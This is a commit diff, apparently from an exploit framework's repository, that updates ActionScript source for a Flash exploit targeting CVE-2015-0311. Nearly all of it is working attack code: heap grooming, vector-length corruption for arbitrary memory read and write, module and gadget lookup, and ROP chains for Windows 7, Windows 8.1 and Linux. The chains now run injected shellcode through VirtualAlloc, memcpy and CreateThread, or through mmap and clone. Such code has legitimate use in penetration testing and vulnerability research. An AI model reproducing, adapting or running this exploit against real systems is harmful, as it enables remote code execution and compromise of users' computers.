Skip to content

Commit 75454f0

Browse files
committed
Update AS source code
1 parent ab68d84 commit 75454f0

File tree

4 files changed

+195
-51
lines changed

4 files changed

+195
-51
lines changed

external/source/exploits/CVE-2015-0311/Exploit.as

Lines changed: 10 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -24,22 +24,22 @@ package
2424
private var ba:ByteArray = new ByteArray()
2525
private var exploiter:Exploiter
2626
private var b64:Base64Decoder = new Base64Decoder()
27-
private var payload:String
27+
private var payload:ByteArray
2828
private var platform:String
29-
private var massage:Vector.<Object> = new Vector.<Object>(10000)
29+
private var os:String
3030

3131
public function Exploit()
3232
{
3333
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
34+
os = LoaderInfo(this.root.loaderInfo).parameters.os
3435
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
3536
var pattern:RegExp = / /g;
3637
b64_payload = b64_payload.replace(pattern, "+")
37-
b64.decode(b64_payload)
38-
payload = b64.toByteArray().toString()
38+
b64.decode(b64_payload)
39+
payload = b64.toByteArray()
3940

40-
for (var i:uint = 0; i < massage.length / 2; i++) {
41-
massage[i] = new Vector.<uint>(0x3e0)
42-
}
41+
// defrag
42+
for (var i:uint = 0; i < 10000; i++) new Vector.<uint>(0x3e0)
4343

4444
for (i = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
4545
ba.compress()
@@ -49,10 +49,8 @@ package
4949
try {
5050
ba.uncompress()
5151
} catch (e:Error) { }
52-
53-
for (i = massage.length / 2; i < massage.length; i++) {
54-
massage[i] = new Vector.<uint>(0x3e0)
55-
}
52+
uv = new Vector.<uint>(0x3e0)
53+
uv[0] = 0
5654

5755
var test:uint = li32(0)
5856
if (test == 0x3e0) {
@@ -61,22 +59,8 @@ package
6159
Logger.log('[*] Exploit - corruption fail: ' + test.toString(16))
6260
return // something failed
6361
}
64-
65-
66-
for (i = 0; i < massage.length; i++) {
67-
if (massage[i].length == 0x3e0) {
68-
massage[i] = null
69-
} else {
70-
Logger.log('[*] Exploit - corrupted vector found at ' + i)
71-
uv = massage[i]
72-
uv[0] = 0
73-
}
74-
}
75-
76-
if (uv.length != 0xffffffff)
77-
return
7862

79-
exploiter = new Exploiter(this, platform, payload, uv)
63+
exploiter = new Exploiter(this, platform, os, payload, uv)
8064
}
8165

8266
}

external/source/exploits/CVE-2015-0311/ExploitByteArray.as

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,6 @@ package
3131

3232
public function lets_ready():void
3333
{
34-
Logger.log("[*] ExploitByteArray - lets_ready()")
3534
ba.endian = "littleEndian"
3635
if (platform == "linux") {
3736
ba.length = 0xffffffff
@@ -40,7 +39,6 @@ package
4039

4140
public function is_ready():Boolean
4241
{
43-
Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16))
4442
if (ba.length == 0xffffffff)
4543
return true
4644

@@ -72,10 +70,15 @@ package
7270

7371
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
7472
{
73+
var i:uint
74+
7575
if (addr) ba.position = addr
7676
if (value is String) {
77-
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
77+
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
7878
if (zero) ba.writeByte(0)
79+
} else if (value is ByteArray) {
80+
var value_length:uint = value.length
81+
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
7982
} else ba.writeUnsignedInt(value)
8083
}
8184
}

external/source/exploits/CVE-2015-0311/Exploiter.as

Lines changed: 167 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -9,8 +9,9 @@ package
99
private var exploit:Exploit
1010
private var ev:ExploitVector
1111
private var eba:ExploitByteArray
12-
private var payload:String
12+
private var payload:ByteArray
1313
private var platform:String
14+
private var op_system:String
1415
private var pos:uint
1516
private var byte_array_object:uint
1617
private var main:uint
@@ -23,13 +24,14 @@ package
2324
private var payload_address:uint
2425
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
2526
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
26-
private var spray:Vector.<Object> = new Vector.<Object>(80000)
27+
private var spray:Vector.<Object> = new Vector.<Object>(89698)
2728

28-
public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.<uint>):void
29+
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
2930
{
3031
exploit = exp
3132
payload = p
3233
platform = pl
34+
op_system = os
3335

3436
ev = new ExploitVector(uv)
3537
if (!ev.is_ready()) return
@@ -133,12 +135,19 @@ package
133135
private function do_rop():void
134136
{
135137
Logger.log("[*] Exploiter - do_rop()")
136-
if (platform == "linux")
138+
if (platform == "linux") {
137139
do_rop_linux()
138-
else if (platform == "win")
139-
do_rop_windows()
140-
else
140+
} else if (platform == "win") {
141+
if (op_system == "Windows 8.1") {
142+
do_rop_windows8()
143+
} else if (op_system == "Windows 7") {
144+
do_rop_windows()
145+
} else {
146+
return
147+
}
148+
} else {
141149
return
150+
}
142151
}
143152

144153
private function do_rop_windows():void
@@ -147,11 +156,15 @@ package
147156
var pe:PE = new PE(eba)
148157
var flash:uint = pe.base(vtable)
149158
var winmm:uint = pe.module("winmm.dll", flash)
150-
var kernel32:uint = pe.module("kernel32.dll", winmm)
159+
var kernel32:uint = pe.module("kernel32.dll", winmm)
160+
var ntdll:uint = pe.module("ntdll.dll", kernel32)
151161
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
152-
var winexec:uint = pe.procedure("WinExec", kernel32)
162+
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
163+
var createthread:uint = pe.procedure("CreateThread", kernel32)
164+
var memcpy:uint = pe.procedure("memcpy", ntdll)
153165
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
154166
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
167+
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
155168

156169
// Continuation of execution
157170
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
@@ -169,16 +182,101 @@ package
169182
eba.write(0, virtualprotect)
170183

171184
// VirtualProtect
172-
eba.write(0, winexec)
185+
eba.write(0, virtualalloc)
173186
eba.write(0, buffer + 0x10)
174187
eba.write(0, 0x1000)
175188
eba.write(0, 0x40)
176189
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
177190

178-
// WinExec
191+
// VirtualAlloc
192+
eba.write(0, memcpy)
193+
eba.write(0, 0x7f6e0000)
194+
eba.write(0, 0x4000)
195+
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
196+
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
197+
198+
// memcpy
199+
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
200+
eba.write(0, 0x7f6e0000)
201+
eba.write(0, payload_address + 8)
202+
eba.write(0, payload.length)
203+
204+
// CreateThread
205+
eba.write(0, createthread)
206+
eba.write(0, buffer + 0x10) // return to fix things
207+
eba.write(0, 0)
208+
eba.write(0, 0)
209+
eba.write(0, 0x7f6e0000)
210+
eba.write(0, 0)
211+
eba.write(0, 0)
212+
eba.write(0, 0)
213+
214+
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
215+
exploit.toString() // call method in the fake vtable
216+
}
217+
218+
private function do_rop_windows8():void
219+
{
220+
Logger.log("[*] Exploiter - do_rop_windows8()")
221+
var pe:PE = new PE(eba)
222+
var flash:uint = pe.base(vtable)
223+
var winmm:uint = pe.module("winmm.dll", flash)
224+
var advapi32:uint = pe.module("advapi32.dll", flash)
225+
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
226+
var kernel32:uint = pe.module("kernel32.dll", winmm)
227+
var ntdll:uint = pe.module("ntdll.dll", kernel32)
228+
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
229+
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
230+
var createthread:uint = pe.procedure("CreateThread", kernelbase)
231+
var memcpy:uint = pe.procedure("memcpy", ntdll)
232+
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
233+
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
234+
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
235+
236+
// Continuation of execution
237+
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
238+
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
239+
eba.write(0, "\x89\x03", false) // mov [ebx], eax
240+
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
241+
242+
// Put the payload (command) in memory
243+
eba.write(payload_address + 8, payload, true); // payload
244+
245+
// Put the fake vtabe / stack on memory
246+
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
247+
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
248+
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
249+
eba.write(0, virtualprotect)
250+
251+
// VirtualProtect
252+
eba.write(0, virtualalloc)
179253
eba.write(0, buffer + 0x10)
254+
eba.write(0, 0x1000)
255+
eba.write(0, 0x40)
256+
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
257+
258+
// VirtualAlloc
259+
eba.write(0, memcpy)
260+
eba.write(0, 0x7ffd0000)
261+
eba.write(0, 0x4000)
262+
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
263+
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
264+
265+
// memcpy
266+
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
267+
eba.write(0, 0x7ffd0000)
180268
eba.write(0, payload_address + 8)
181-
eba.write(0)
269+
eba.write(0, payload.length)
270+
271+
// CreateThread
272+
eba.write(0, createthread)
273+
eba.write(0, buffer + 0x10) // return to fix things
274+
eba.write(0, 0)
275+
eba.write(0, 0)
276+
eba.write(0, 0x7ffd0000)
277+
eba.write(0, 0)
278+
eba.write(0, 0)
279+
eba.write(0, 0)
182280

183281
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
184282
exploit.toString() // call method in the fake vtable
@@ -192,6 +290,8 @@ package
192290
var libc:Elf = new Elf(eba, feof)
193291
var popen:uint = libc.symbol("popen")
194292
var mprotect:uint = libc.symbol("mprotect")
293+
var mmap:uint = libc.symbol("mmap")
294+
var clone:uint = libc.symbol("clone")
195295
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
196296
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
197297
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
@@ -204,9 +304,21 @@ package
204304
// 2) Recover original stack
205305
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
206306

307+
// my_memcpy
308+
eba.write(buffer + 0x60, "\x56", false) // push esi
309+
eba.write(0, "\x57", false) // push edi
310+
eba.write(0, "\x51", false) // push ecx
311+
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
312+
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
313+
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
314+
eba.write(0, "\xF3\xA4", false) // rep movsb
315+
eba.write(0, "\x59", false) // pop ecx
316+
eba.write(0, "\x5f", false) // pop edi
317+
eba.write(0, "\x5e", false) // pop esi
318+
eba.write(0, "\xc3", false) // ret
319+
207320
// Put the popen parameters in memory
208-
eba.write(payload_address + 8, 'r', true) // type
209-
eba.write(payload_address + 0xc, payload, true) // command
321+
eba.write(payload_address + 0x8, payload, true) // false
210322

211323
// Put the fake stack/vtable on memory
212324
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
@@ -221,13 +333,49 @@ package
221333
eba.write(0, buffer) // addr
222334
eba.write(0, 0x1000) // size
223335
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
224-
// Return to popen()
225-
eba.write(stack_address + 0x18068, popen)
336+
337+
// Return to mmap()
338+
eba.write(stack_address + 0x18068, mmap)
339+
// Return to stackpivot (jmp over mmap parameters)
340+
eba.write(0, addesp2cret)
341+
// mmap() code segment arguments
342+
eba.write(0, 0x70000000) // 0x70000000
343+
eba.write(0, 0x4000) // size
344+
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
345+
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
346+
eba.write(0, 0xffffffff) // filedes
347+
eba.write(0, 0) // offset
348+
349+
// Return to mmap()
350+
eba.write(stack_address + 0x1809c, mmap)
351+
// Return to stackpivot (jmp over mmap parameters)
352+
eba.write(0, addesp2cret)
353+
// mmap() stack segment arguments
354+
eba.write(0, 0x70008000) // NULL
355+
eba.write(0, 0x10000) // size
356+
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
357+
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
358+
eba.write(0, -1) // filedes
359+
eba.write(0, 0) // offset
360+
361+
// Return to memcpy()
362+
eba.write(stack_address + 0x180d0, buffer + 0x60)
363+
// Return to stackpivot (jmp over memcpy parameters)
364+
eba.write(0, addesp2cret)
365+
// memcpy() parameters
366+
eba.write(0, 0x70000000)
367+
eba.write(0, payload_address + 0x8)
368+
eba.write(0, payload.length)
369+
370+
// Return to clone()
371+
eba.write(stack_address + 0x18104, clone)
226372
// Return to CoE (fix stack and object vtable)
227373
eba.write(0, buffer + 0x10)
228-
// popen() argument
229-
eba.write(0, payload_address + 0xc)
230-
eba.write(0, payload_address + 8)
374+
// clone() arguments
375+
eba.write(0, 0x70000000) // code
376+
eba.write(0, 0x7000bff0) // stack
377+
eba.write(0, 0x00000100) // flags CLONE_VM
378+
eba.write(0, 0) // args
231379

232380
//call DWORD PTR [eax+0x24]
233381
//EAX: 0x41414141 ('AAAA')

external/source/exploits/CVE-2015-0311/PE.as

Lines changed: 12 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,6 @@ package
1111

1212
public function base(addr:uint):uint
1313
{
14-
Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16))
1514
addr &= 0xffff0000
1615
while (true) {
1716
if (eba.read(addr) == 0x00905a4d) return addr
@@ -54,10 +53,20 @@ package
5453
public function gadget(gadget:String, hint:uint, addr:uint):uint
5554
{
5655
var find:uint = 0
56+
var contents:uint = 0
5757
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
5858
var value:uint = parseInt(gadget, 16)
59-
for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break
60-
return addr + i
59+
60+
for (var i:uint = 0; i < limit - 4; i++) {
61+
contents = eba.read(addr + i)
62+
if (hint == 0xffffffff && value == contents) {
63+
return addr + i
64+
}
65+
if (hint != 0xffffffff && value == (contents & hint)) {
66+
return addr + i
67+
}
68+
}
69+
throw new Error()
6170
}
6271
}
6372
}

0 commit comments

Comments
 (0)